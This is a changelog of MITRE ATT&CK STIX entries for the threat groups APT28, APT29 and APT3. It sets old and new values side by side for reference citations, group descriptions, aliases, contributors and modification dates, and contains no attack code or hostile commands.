| external_references[20]['source_name'] | GRIZZLY STEPPE JAR | FireEye APT28 January 2017 |
| external_references[20]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. |
| external_references[20]['url'] | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
| external_references[21]['source_name'] | Sofacy DealersChoice | GRIZZLY STEPPE JAR |
| external_references[21]['description'] | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. |
| external_references[21]['url'] | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf |
| external_references[22]['source_name'] | Palo Alto Sofacy 06-2018 | Sofacy DealersChoice |
| external_references[22]['description'] | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. |
| external_references[22]['url'] | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ |
| external_references[23]['source_name'] | Symantec APT28 Oct 2018 | Palo Alto Sofacy 06-2018 |
| external_references[23]['description'] | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. |
| external_references[23]['url'] | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
| external_references[24]['source_name'] | ESET Zebrocy May 2019 | Symantec APT28 Oct 2018 |
| external_references[24]['description'] | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. |
| external_references[24]['url'] | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government |
| external_references[25]['source_name'] | US District Court Indictment GRU Oct 2018 | ESET Zebrocy May 2019 |
| external_references[25]['description'] | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. |
| external_references[25]['url'] | https://www.justice.gov/opa/page/file/1098481/download | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ |
| external_references[26]['source_name'] | Kaspersky Sofacy | US District Court Indictment GRU Oct 2018 |
| external_references[26]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[26]['url'] | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[27]['source_name'] | ESET Sednit Part 3 | Kaspersky Sofacy |
| external_references[27]['description'] | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. |
| external_references[27]['url'] | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ |
| external_references[28]['source_name'] | Talos Seduploader Oct 2017 | ESET Sednit Part 3 |
| external_references[28]['description'] | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. |
| external_references[28]['url'] | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
| external_references[29]['source_name'] | Securelist Sofacy Feb 2018 | Talos Seduploader Oct 2017 |
| external_references[29]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. |
| external_references[29]['url'] | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html |
| external_references[30]['source_name'] | Accenture SNAKEMACKEREL Nov 2018 | Securelist Sofacy Feb 2018 |
| external_references[30]['description'] | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. |
| external_references[30]['url'] | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ |
| external_references[31]['source_name'] | TrendMicro Pawn Storm Dec 2020 | Accenture SNAKEMACKEREL Nov 2018 |
| external_references[31]['description'] | Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. |
| external_references[31]['url'] | https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 |
| external_references[32]['source_name'] | Microsoft STRONTIUM Aug 2019 | TrendMicro Pawn Storm Dec 2020 |
| external_references[32]['description'] | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. | Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. |
| external_references[32]['url'] | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ | https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html |
| external_references[33]['source_name'] | Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020 | Microsoft STRONTIUM Aug 2019 |
| external_references[33]['description'] | Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020. | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. |
| external_references[33]['url'] | https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/ | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ |
| x_mitre_version | 3.1 | 3.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.', 'url': 'https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/'} |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT29](https://attack.mitre.org/groups/G0016) is threat gro | t | 1 | [APT29](https://attack.mitre.org/groups/G0016) is threat gro |
| > | up that has been attributed to Russia's Foreign Intelligence | > | up that has been attributed to Russia's Foreign Intelligence | ||
| > | Service (SVR).(Citation: White House Imposing Costs RU Gov | > | Service (SVR).(Citation: White House Imposing Costs RU Gov | ||
| > | April 2021)(Citation: UK Gov Malign RIS Activity April 2021) | > | April 2021)(Citation: UK Gov Malign RIS Activity April 2021) | ||
| > | They have operated since at least 2008, often targeting gov | > | They have operated since at least 2008, often targeting gov | ||
| > | ernment networks in Europe and NATO member countries, resear | > | ernment networks in Europe and NATO member countries, resear | ||
| > | ch institutes, and think tanks. [APT29](https://attack.mitre | > | ch institutes, and think tanks. [APT29](https://attack.mitre | ||
| > | .org/groups/G0016) reportedly compromised the Democratic Nat | > | .org/groups/G0016) reportedly compromised the Democratic Nat | ||
| > | ional Committee starting in the summer of 2015.(Citation: F- | > | ional Committee starting in the summer of 2015.(Citation: F- | ||
| > | Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Cr | > | Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Cr | ||
| > | owdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia | > | owdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia | ||
| > | SolarWinds April 2021) In April 2021, the US and UK governm | > | SolarWinds April 2021) In April 2021, the US and UK governm | ||
| > | ents attributed the SolarWinds supply chain compromise cyber | > | ents attributed the SolarWinds supply chain compromise cyber | ||
| > | operation to the SVR; public statements included citations | > | operation to the SVR; public statements included citations | ||
| > | to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear | > | to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear | ||
| > | , and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds | > | , and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds | ||
| > | April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) | > | April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) | ||
| > | Victims of this campaign included government, consulting, t | > | Victims of this campaign included government, consulting, t | ||
| > | echnology, telecom, and other organizations in North America | > | echnology, telecom, and other organizations in North America | ||
| > | , Europe, Asia, and the Middle East. Industry reporting refe | > | , Europe, Asia, and the Middle East. Industry reporting refe | ||
| > | rred to the actors involved in this campaign as UNC2452, NOB | > | rred to the actors involved in this campaign as UNC2452, NOB | ||
| > | ELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUN | > | ELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUN | ||
| > | BURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2 | > | BURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2 | ||
| > | 021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Cit | > | 021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Cit | ||
| > | ation: Volexity SolarWinds) | > | ation: Volexity SolarWinds)(Citation: Cybersecurity Advisory | ||
| > | SVR TTP May 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-30 12:11:56.336000+00:00 | 2021-10-16 00:59:58.792000+00:00 |
| description | [APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021) In April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds) | [APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021) In April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[1]['description'] | (Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[2]['source_name'] | Dark Halo | NobleBaron |
| external_references[2]['description'] | (Citation: Volexity SolarWinds) | (Citation: SentinelOne NobleBaron June 2021) |
| external_references[3]['source_name'] | StellarParticle | Dark Halo |
| external_references[3]['description'] | (Citation: CrowdStrike SUNSPOT Implant January 2021) | (Citation: Volexity SolarWinds) |
| external_references[4]['source_name'] | NOBELIUM | StellarParticle |
| external_references[4]['description'] | (Citation: MSTIC NOBELIUM Mar 2021) | (Citation: CrowdStrike SUNSPOT Implant January 2021) |
| external_references[5]['source_name'] | UNC2452 | NOBELIUM |
| external_references[5]['description'] | (Citation: FireEye SUNBURST Backdoor December 2020) | (Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021) |
| external_references[6]['source_name'] | YTTRIUM | UNC2452 |
| external_references[6]['description'] | (Citation: Microsoft Unidentified Dec 2018) | (Citation: FireEye SUNBURST Backdoor December 2020) |
| external_references[7]['source_name'] | The Dukes | YTTRIUM |
| external_references[7]['description'] | (Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: Microsoft Unidentified Dec 2018) |
| external_references[8]['source_name'] | Cozy Bear | The Dukes |
| external_references[8]['description'] | (Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[9]['source_name'] | CozyDuke | Cozy Bear |
| external_references[9]['description'] | (Citation: Crowdstrike DNC June 2016) | (Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[10]['source_name'] | White House Imposing Costs RU Gov April 2021 | CozyDuke |
| external_references[10]['description'] | White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021. | (Citation: Crowdstrike DNC June 2016) |
| external_references[11]['source_name'] | UK Gov Malign RIS Activity April 2021 | White House Imposing Costs RU Gov April 2021 |
| external_references[11]['description'] | UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021. | White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021. |
| external_references[11]['url'] | https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services | https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/ |
| external_references[12]['source_name'] | F-Secure The Dukes | UK Gov Malign RIS Activity April 2021 |
| external_references[12]['description'] | F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015. | UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021. |
| external_references[12]['url'] | https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf | https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services |
| external_references[13]['source_name'] | GRIZZLY STEPPE JAR | F-Secure The Dukes |
| external_references[13]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015. |
| external_references[13]['url'] | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
| external_references[14]['source_name'] | Crowdstrike DNC June 2016 | GRIZZLY STEPPE JAR |
| external_references[14]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. |
| external_references[14]['url'] | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf |
| external_references[15]['source_name'] | UK Gov UK Exposes Russia SolarWinds April 2021 | Crowdstrike DNC June 2016 |
| external_references[15]['description'] | UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021. | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. |
| external_references[15]['url'] | https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
| external_references[16]['source_name'] | NSA Joint Advisory SVR SolarWinds April 2021 | UK Gov UK Exposes Russia SolarWinds April 2021 |
| external_references[16]['description'] | NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021. | UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021. |
| external_references[16]['url'] | https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF | https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise |
| external_references[17]['source_name'] | UK NSCS Russia SolarWinds April 2021 | NSA Joint Advisory SVR SolarWinds April 2021 |
| external_references[17]['description'] | UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021. | NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021. |
| external_references[17]['url'] | https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise | https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF |
| external_references[18]['source_name'] | FireEye SUNBURST Backdoor December 2020 | UK NSCS Russia SolarWinds April 2021 |
| external_references[18]['description'] | FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021. | UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021. |
| external_references[18]['url'] | https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html | https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise |
| external_references[19]['source_name'] | MSTIC NOBELIUM Mar 2021 | FireEye SUNBURST Backdoor December 2020 |
| external_references[19]['description'] | Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021. | FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021. |
| external_references[19]['url'] | https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/ | https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html |
| external_references[20]['source_name'] | CrowdStrike SUNSPOT Implant January 2021 | MSTIC NOBELIUM Mar 2021 |
| external_references[20]['description'] | CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021. | Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021. |
| external_references[20]['url'] | https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/ | https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/ |
| external_references[21]['source_name'] | Volexity SolarWinds | CrowdStrike SUNSPOT Implant January 2021 |
| external_references[21]['description'] | Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020. | CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021. |
| external_references[21]['url'] | https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ | https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/ |
| external_references[22]['source_name'] | FireEye APT29 Nov 2018 | Volexity SolarWinds |
| external_references[22]['description'] | Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018. | Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020. |
| external_references[22]['url'] | https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html | https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ |
| external_references[23]['source_name'] | ESET Dukes October 2019 | Cybersecurity Advisory SVR TTP May 2021 |
| external_references[23]['description'] | Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020. | NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021. |
| external_references[23]['url'] | https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf | https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf |
| external_references[24]['source_name'] | NCSC APT29 July 2020 | FireEye APT29 Nov 2018 |
| external_references[24]['description'] | National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020. | Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018. |
| external_references[24]['url'] | https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf | https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html |
| external_references[25]['source_name'] | Microsoft Unidentified Dec 2018 | ESET Dukes October 2019 |
| external_references[25]['description'] | Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019. | Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020. |
| external_references[25]['url'] | https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/ | https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | NobleBaron | |
| external_references | {'source_name': 'NCSC APT29 July 2020', 'description': 'National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.', 'url': 'https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf'} | |
| external_references | {'source_name': 'SentinelOne NobleBaron June 2021', 'description': 'Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.', 'url': 'https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/'} | |
| external_references | {'source_name': 'MSTIC NOBELIUM May 2021', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/'} | |
| external_references | {'source_name': 'MSTIC Nobelium Toolset May 2021', 'description': 'MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/'} | |
| external_references | {'source_name': 'MSRC Nobelium June 2021', 'description': 'MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.', 'url': 'https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/'} | |
| external_references | {'source_name': 'Microsoft Unidentified Dec 2018', 'description': 'Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.', 'url': 'https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/'} | |
| x_mitre_contributors | Daniyal Naeem, BT Security |
Current version: 1.4
Version changed from: 1.3 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT3](https://attack.mitre.org/groups/G0022) is a China-bas | t | 1 | [APT3](https://attack.mitre.org/groups/G0022) is a China-bas |
| > | ed threat group that researchers have attributed to China's | > | ed threat group that researchers have attributed to China's | ||
| > | Ministry of State Security. (Citation: FireEye Clandestine W | > | Ministry of State Security.(Citation: FireEye Clandestine Wo | ||
| > | olf) (Citation: Recorded Future APT3 May 2017) This group is | > | lf)(Citation: Recorded Future APT3 May 2017) This group is r | ||
| > | responsible for the campaigns known as Operation Clandestin | > | esponsible for the campaigns known as Operation Clandestine | ||
| > | e Fox, Operation Clandestine Wolf, and Operation Double Tap. | > | Fox, Operation Clandestine Wolf, and Operation Double Tap.(C | ||
| > | (Citation: FireEye Clandestine Wolf) (Citation: FireEye Ope | > | itation: FireEye Clandestine Wolf)(Citation: FireEye Operati | ||
| > | ration Double Tap) As of June 2015, the group appears to hav | > | on Double Tap) As of June 2015, the group appears to have sh | ||
| > | e shifted from targeting primarily US victims to primarily p | > | ifted from targeting primarily US victims to primarily polit | ||
| > | olitical organizations in Hong Kong. (Citation: Symantec Buc | > | ical organizations in Hong Kong.(Citation: Symantec Buckeye) | ||
| > | keye) MITRE has also developed an APT3 Adversary Emulation | > | In 2017, MITRE developed an APT3 Adversary Emulation Plan. | ||
| > | Plan.(Citation: APT3 Adversary Emulation Plan) | > | (Citation: APT3 Adversary Emulation Plan) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Patrick Sungbahadoor'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 13:52:16.312000+00:00 | 2021-10-01 19:09:20.817000+00:00 |
